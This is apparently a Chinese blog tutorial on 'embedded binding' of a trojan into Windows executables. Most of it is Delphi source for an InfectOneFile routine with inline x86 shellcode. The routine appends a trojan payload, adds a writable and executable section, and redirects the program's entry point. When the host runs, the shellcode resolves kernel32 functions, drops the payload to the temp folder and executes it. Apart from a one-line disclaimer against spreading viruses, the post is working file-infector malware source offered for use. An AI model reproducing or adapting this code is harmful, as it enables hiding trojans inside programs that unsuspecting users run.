上次写到使用附加捆绑文件的方式. 这次介绍使用签入式捆绑
签入式捆绑的原理也很简单,
也是把木马程序附加到程序尾部 然后在原程序里添加一个代码节
用来把木马程序释放出来. 最后将原程序的入口点改成添加节的起始地址
由于这种试会改变原程序的大小,并且和程序运行的环境有关.
所以 .net或其它的虚拟机程序是不能被运行的.
还有一种就是有附加数据的程序 因为改变了文件的大小 如果强行捆绑 有可能会使原程序执行出错.
下面给出捆绑代码(请勿用于病毒传播) Demo下载
【全文】
procedure InfectOneFile(ASrcFileName,ADesFileName: string; const isCheck: Boolean = true);
var
I: integer;
F,F1: THandle;
dReadNum: DWORD;
DosHeader: TImageDosHeader;
NTHeader: TImageNtHeaders; {NtHeader}
NewSectionHeader,SEChea: TImageSectionHeader;
nOldSectionNo: Integer;{节数目}
OEP: Integer; {入口点}
SectionAlign: Integer; {节对齐}
FileAlign: Integer; {文件对齐}
Data: TDatas;
pShell: PChar;
nShellLen, nNewImageSize, nNewSizeofCode: Integer;
jmp: BYTE;
buf: array[0..$1000] of byte;
TempPath: string;
FileSize: Integer;
label shellend, shell, Search, QUIT,RE;
begin
TempPath := '';
F := CreateFile(PChar(ADesFileName), GENERIC_READ or GENERIC_WRITE, 0, nil, OPEN_EXISTING, 0, 0);
try
//打开失败退出
if F = INVALID_HANDLE_VALUE then
begin
{$IFDEF DEBUG} AddLog('打开文件失败'+ADesFileName); {$ENDIF}
Exit;
end;
//检查是否PE文件
ReadFile(F, DosHeader, SizeOf(TImageDosHeader), dReadNum, nil);
if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then
begin
{$IFDEF DEBUG} AddLog('不是PE文件'+ADesFileName); {$ENDIF}
Exit;
end;
SetFilePointer(F, $30, nil, FILE_BEGIN);
ReadFile(F, Data, SizeOf(TDatas), dReadNum, nil);
if Data.ID = $88888888 then {已经被附加}
begin
{$IFDEF DEBUG} AddLog('已经感染'+ADesFileName); {$ENDIF}
Exit;
end;
//读取NTHeader
SetFilePointer(F, DosHeader._lfanew, nil, FILE_BEGIN);
ReadFile(F, NTHeader, SizeOf(NTHeader), dReadNum, nil);
if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;
if (NTHeader.FileHeader.Characteristics = $10E) and isCheck then
begin
{$IFDEF DEBUG} AddLog('.net或其它文件'+ADesFileName); {$ENDIF}
Exit; //.net 或其它文件 不能附加
end;
nOldSectionNo := NTHeader.FileHeader.NumberOfSections;
OEP := NTHeader.OptionalHeader.AddressOfEntryPoint;
SectionAlign := NTHeader.OptionalHeader.SectionAlignment;
FileAlign := NTHeader.OptionalHeader.FileAlignment;
ZeroMemory(@NewSectionHeader, SizeOf(TImageSectionHeader));
//读取最后一个节头
SetFilePointer(F, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);
for i := 0 to nOldSectionNo - 1 do
ReadFile(F, SEChea, SizeOf(TImageSectionHeader), dReadNum, nil);
FileSize := GetFileSize(F, nil);
if (FileSize <> SEChea.PointerToRawData + SEChea.SizeOfRawData) and isCheck then
begin //有附加数据不能附加
{$IFDEF DEBUG} AddLog('.有附加数据不能感染'+ADesFileName); {$ENDIF}
Exit;
end;
goto shellend;
asm
shell:
pushad
mov eax, fs:$30 //;PEB的地址
mov eax, [eax + $0c]
mov esi, [eax + $1c]
lodsd
mov eax, [eax + $08] //;eax就是kernel32.dll的基址
mov edi, eax //同时保存kernel32.dll的基址到edi
//通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址
mov ebp, eax
mov eax, [ebp + $3c]
mov edx, [ebp + eax + $78]
add edx, ebp
mov ecx, [edx + $18]
mov ebx, [edx + $20]
add ebx, ebp
Search:
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
mov eax, $50746547
cmp [esi], eax //比较"PteG"
jne Search
mov eax, $41636f72
cmp [esi + 4], eax
jne Search
mov ebx, [edx + $24]
add ebx, ebp
mov cx, [ebx + ecx * 2]
mov ebx, [edx + $1c]
add ebx, ebp
mov eax, [ebx + ecx * 4]
add eax, ebp //eax保存的就是GetProcAddress的地址
//为局部变量分配空间
push ebp
sub esp, $50
mov ebp, esp
mov [ebp + $10], eax //把GetProcAddress的地址保存到ebp + 10中
//查找 GlobalAlloc
push DWORD PTR $636F6C
push DWORD PTR $6C416C61
push DWORD PTR $626F6C47
push esp
push edi
call [ebp + $10]
//mov [ebp + $14], eax //保存GlobalAlloc的地址到ebp + 14h
push $1000 //分配$1000空间内存
push GHND
call eax
mov [ebp + $4C], eax//保存hMem
mov eax, [eax] //
mov [ebp + $4], eax
//mov [ebp + $14], eax //保存指针
//mov eax, edx
mov [eax],DWORD PTR $61657243
add eax, 4
mov [eax],DWORD PTR $69466574
add eax, 4
mov [eax],DWORD PTR $41656C
//开始查找CreateFileA的地址, 先构造"CreateFileA/0"
push [ebp + $4] //压入"CreateFileA/0"的地址
push edi //edi:kernel32的基址
call [ebp + $10] //返回值(即CreateFileA的地址)保存在eax中
mov [ebp + $14], eax //保存CreateFileA的地址到ebp + 14h
//开始查找ReadFile的地址
mov eax, [ebp + $4]
mov [eax],DWORD PTR $64616552
add eax, 4
mov [eax],DWORD PTR $656C6946
add eax, 4
mov [eax],DWORD PTR $0
push [ebp + $4]
push edi
call [ebp + $10]
mov [ebp + $18], eax //保存ReadFile的地址到ebp + 18h
//查找 WriteFile
mov eax, [ebp + $4]
mov [eax],DWORD PTR $74697257
add eax, 4
mov [eax],DWORD PTR $6C694665
add eax, 4
mov [eax],DWORD PTR $65
push [ebp + $4]
push edi
call [ebp + $10]
mov [ebp + $1C], eax //保存WriteFile的地址到ebp + 1Ch
//查找GetModuleFileNameA
mov eax, [ebp + $4]
mov [eax],DWORD PTR $4D746547
add eax, 4
mov [eax],DWORD PTR $6C75646F
add eax, 4
mov [eax],DWORD PTR $6C694665
add eax, 4
mov [eax],DWORD PTR $6D614E65
add eax, 4
mov [eax],DWORD PTR $4165
push [ebp + $4]
push edi
call [ebp + $10]
mov [ebp + $20], eax //保存GetModuleFileNameA的地址到ebp + 20h
//查找SetFilePointer
mov eax, [ebp + $4]
mov [eax],DWORD PTR $46746553
add eax, 4
mov [eax],DWORD PTR $50656C69
add eax, 4
mov [eax],DWORD PTR $746E696F
add eax, 4
mov [eax],DWORD PTR $7265
push [ebp + $4]
push edi
call [ebp + $10]
mov [ebp + $24], eax
//查找 GetTempPathA
mov eax, [ebp + $4]
mov [eax],DWORD PTR $54746547
add eax, 4
mov [eax],DWORD PTR $50706D65
add eax, 4
mov [eax],DWORD PTR $41687461
add eax, 4
mov [eax],DWORD PTR $0
push [ebp + $4]
push edi
call [ebp + $10]
mov [ebp + $28], eax
//查找CloseHandle
mov eax, [ebp + $4]
mov [eax],DWORD PTR $736F6C43
add eax, 4
mov [eax],DWORD PTR $6E614865
add eax, 4
mov [eax],DWORD PTR $656C64
push [ebp + $4]
push edi
call [ebp + $10]
mov [ebp + $2C], eax
//查找WinExec
mov eax, [ebp + $4]
mov [eax],DWORD PTR $456E6957
add eax, 4
mov [eax],DWORD PTR $636578
push [ebp + $4]
push edi
call [ebp + $10]
mov [ebp + $30], eax
//获取文件名
push $FF
//lea eax, [ebp + $4]
push [ebp + $4]
push DWORD PTR $0
call [ebp + $20] //GetModuleFileName
//打开文件
push $0
push $0
push OPEN_EXISTING
push $0
push FILE_SHARE_READ
push GENERIC_READ
push [ebp + $4]
call [ebp + $14]
mov [ebp + $34], eax //保存文件句柄
cmp eax, $FFFFFFFF //打开失败
jz QUIT
//SetFilePointer $30
push $0
push $0
push $30
push [ebp + $34]
call [ebp + $24] //SetFilePointer
//ReadFile ID
push $0
mov eax, [ebp + $4]
push eax
push $4
add eax, 4
push eax
push [ebp + $34]
call [ebp + $18] //ReadFile ID
mov eax, [ebp + $4]
add eax, 4
cmp [eax], $88888888
jnz QUIT
//ReadFile Offset
push $0
mov eax,[ebp + $4]
push eax
push $4
add eax, 4
push eax //Offset
push [ebp + $34]
call [ebp + $18]
//ReadFile Size
push $0
mov eax,[ebp + $4]
push eax
push $4
add eax, 8
push eax //Size
push [ebp + $34]
call [ebp + $18]
//SetFilePointer OffSet
push $0
push $0
mov eax, [ebp + $4]
add eax, 4
push [eax]
push [ebp + $34]
call [ebp + $24]
mov eax,[ebp + $4]
add eax, $C
push eax
push $FF
call [ebp + $28] //TempPath
mov edx,[ebp + $4]
add edx, $C
add eax, edx
mov [eax],DWORD PTR $2E656d69
add eax, 4
mov [eax],DWORD PTR $657865
//打开文件
push $0
push $0
push CREATE_ALWAYS
push $0
push $0
push GENERIC_WRITE
push edx
call [ebp + $14] //CreateFile NewFile
mov [ebp + $44], eax //保存文件句柄
cmp eax, $FFFFFFFF
jz QUIT
RE: //ReadFile
push $0
mov eax,[ebp + $4]
push eax
push $FF
add eax, $C
add eax, $FF
push eax//Buff
push [ebp + $34]
call [ebp + $18] //ReadFile
//WriteFile
push $0
mov eax,[ebp + $4]
push eax
push [eax]
add eax, $C
add eax, $FF
push eax//Buff
push [ebp + $44]
call [ebp + $1C]
mov eax, [ebp + $4]
cmp [eax], 0
jnz RE
push [ebp + $44]
call [ebp + $2c] //关闭新文件句柄
push [ebp + $34]
call [ebp + $2c] //关闭文件句柄
//运行程序
(这里省略一部分)
//释放内存
mov eax, [ebp + $4]
mov [eax],DWORD PTR $626F6C47
add eax, 4
mov [eax],DWORD PTR $72466C61
add eax, 4
mov [eax],DWORD PTR $6565
push [ebp + $4]
push edi
call [ebp + $10] //GlobalFree
push [ebp + $4C]
call eax
QUIT: mov esp, ebp
add esp, $50
popad
end;
shellend:
asm
LEA EAX,shell
MOV pShell,EAX;
LEA EBX,shellend
SUB EBX,EAX
MOV nShellLen,EBX
end;
FileSize := GetFileSize(F, nil);
SetFilePointer(F, SEChea.PointerToRawData + SEChea.SizeOfRawData, nil, FILE_BEGIN);
if FileSize <> SEChea.PointerToRawData + SEChea.SizeOfRawData then //有附加数据
begin
//将附加数据写入临时文件
TempPath := GetTempDir + '{3B034D2C-A7B4-47D0-BA07-988E9359649D}';
F1 := CreateFile(PChar(TempPath), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
try
if F1 = INVALID_HANDLE_VALUE then Exit;
repeat
ReadFile(F, buf, sizeOf(buf), dReadNum, nil);
WriteFile(F1, buf, dReadNum, dReadNum, nil);
until dReadNum = 0;
finally
CloseHandle(F1);
end;
end;
//写入代码
SetFilePointer(F, SEChea.PointerToRawData + SEChea.SizeOfRawData, nil, FILE_BEGIN);
//原来的文件没有对齐
if Align(SEChea.SizeOfRawData, FileAlign) <> SEChea.SizeOfRawData then
begin
jmp := $00;
for i := 0 to Align(SEChea.SizeOfRawData,FileAlign) - SEChea.SizeOfRawData - 1 do
WriteFile(F, jmp, 1, dReadNum, nil);
end;
WriteFile(F, pShell^, nShellLen, dReadNum, nil);
//SHELLCODE之后是跳转到原OEP的指令
NewSectionHeader.VirtualAddress := SEChea.VirtualAddress
+ Align(SEChea.Misc.VirtualSize,SectionAlign);
jmp := $E9;
OEP := OEP - (NewSectionHeader.VirtualAddress + nShellLen) - 5;
WriteFile(F, jmp, sizeof(jmp), dReadNum, nil);
WriteFile(F, OEP, sizeof(OEP), dReadNum, nil);
//将最后增加的数据用0填充至按文件中对齐的大小
jmp := $00;
for i:=0 to Align(nShellLen,FileAlign) - nShellLen - 6 do
WriteFile(F, jmp, 1, dReadNum, nil);
//新区块中的数据
Move('.data', NewSectionHeader.Name, 5);
NewSectionHeader.PointerToRawData := SEChea.PointerToRawData + Align(SEChea.SizeOfRawData, FileAlign);
NewSectionHeader.Misc.VirtualSize := nShellLen;
NewSectionHeader.SizeOfRawData := Align(nShellLen, FileAlign);
NewSectionHeader.Characteristics := $E0000020;//新区块可读可写可执行
SetFilePointer(F, DosHeader._lfanew + SizeOf(TImageNtHeaders) + SizeOf(TImageSectionHeader) * nOldSectionNo, nil, FILE_BEGIN);
//写入新的块表
WriteFile(F, NewSectionHeader,SizeOf(TImageSectionHeader),dReadNum, nil);
nNewImageSize := NTHeader.OptionalHeader.SizeOfImage + Align(nShellLen, SectionAlign);
nNewSizeofCode := NTHeader.OptionalHeader.SizeOfCode + Align(nShellLen, FileAlign);
NTHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress := 0;
NTHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size := 0;
NTHeader.OptionalHeader.SizeOfCode := nNewSizeofCode;
NTHeader.OptionalHeader.SizeOfImage := nNewImageSize;
NTHeader.FileHeader.NumberOfSections := nOldSectionNo + 1;
NTHeader.OptionalHeader.AddressOfEntryPoint := NewSectionHeader.VirtualAddress;
//写入更新后的PE头结构
SetFilePointer(F, DosHeader._lfanew, nil, FILE_BEGIN);
WriteFile(F, NTHeader ,Sizeof(TImageNTHeaders), dReadNum, nil);
if TempPath <> '' then //将附加数据写回来
begin
F1 := CreateFile(PChar(TempPath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
try
if F1 = INVALID_HANDLE_VALUE then Exit;
SetFilePointer(F, NewSectionHeader.SizeOfRawData + NewSectionHeader.PointerToRawData, nil, FILE_BEGIN);
repeat
ReadFile(F1, buf, sizeOf(buf), dReadNum, nil);
WriteFile(F, buf, dReadNum, dReadNum, nil);
until dReadNum = 0;
finally
CloseHandle(F1);
DeleteFile(PChar(TempPath));
end;
end;
//写入附加数据
F1 := CreateFile(PChar(ASrcFileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
try
if F1 = INVALID_HANDLE_VALUE then
begin
{$IFDEF DEBUG} AddLog('打开源文件失败'+ASrcFileName); {$ENDIF}
Exit;
end;
Data.ID := $88888888;
Data.Offset := NewSectionHeader.SizeOfRawData + NewSectionHeader.PointerToRawData;
Data.Size := GetFileSize(F1, nil);
SetFilePointer(F, $30, nil, FILE_BEGIN);
WriteFile(F, Data, SizeOf(TDatas), dReadNum, nil);
SetFilePointer(F, 0, nil, FILE_END);
SetFilePointer(F1, 0, nil, FILE_BEGIN);
repeat
ReadFile(F1, buf, sizeOf(buf), dReadNum, nil);
WriteFile(F, buf, dReadNum, dReadNum, nil);
until dReadNum = 0;
finally
CloseHandle(F1);
end;
finally
CloseHandle(F);
end;
{$IFDEF DEBUG} AddLog(ASrcFileName+'感染成功'+ADesFileName); {$ENDIF}
end;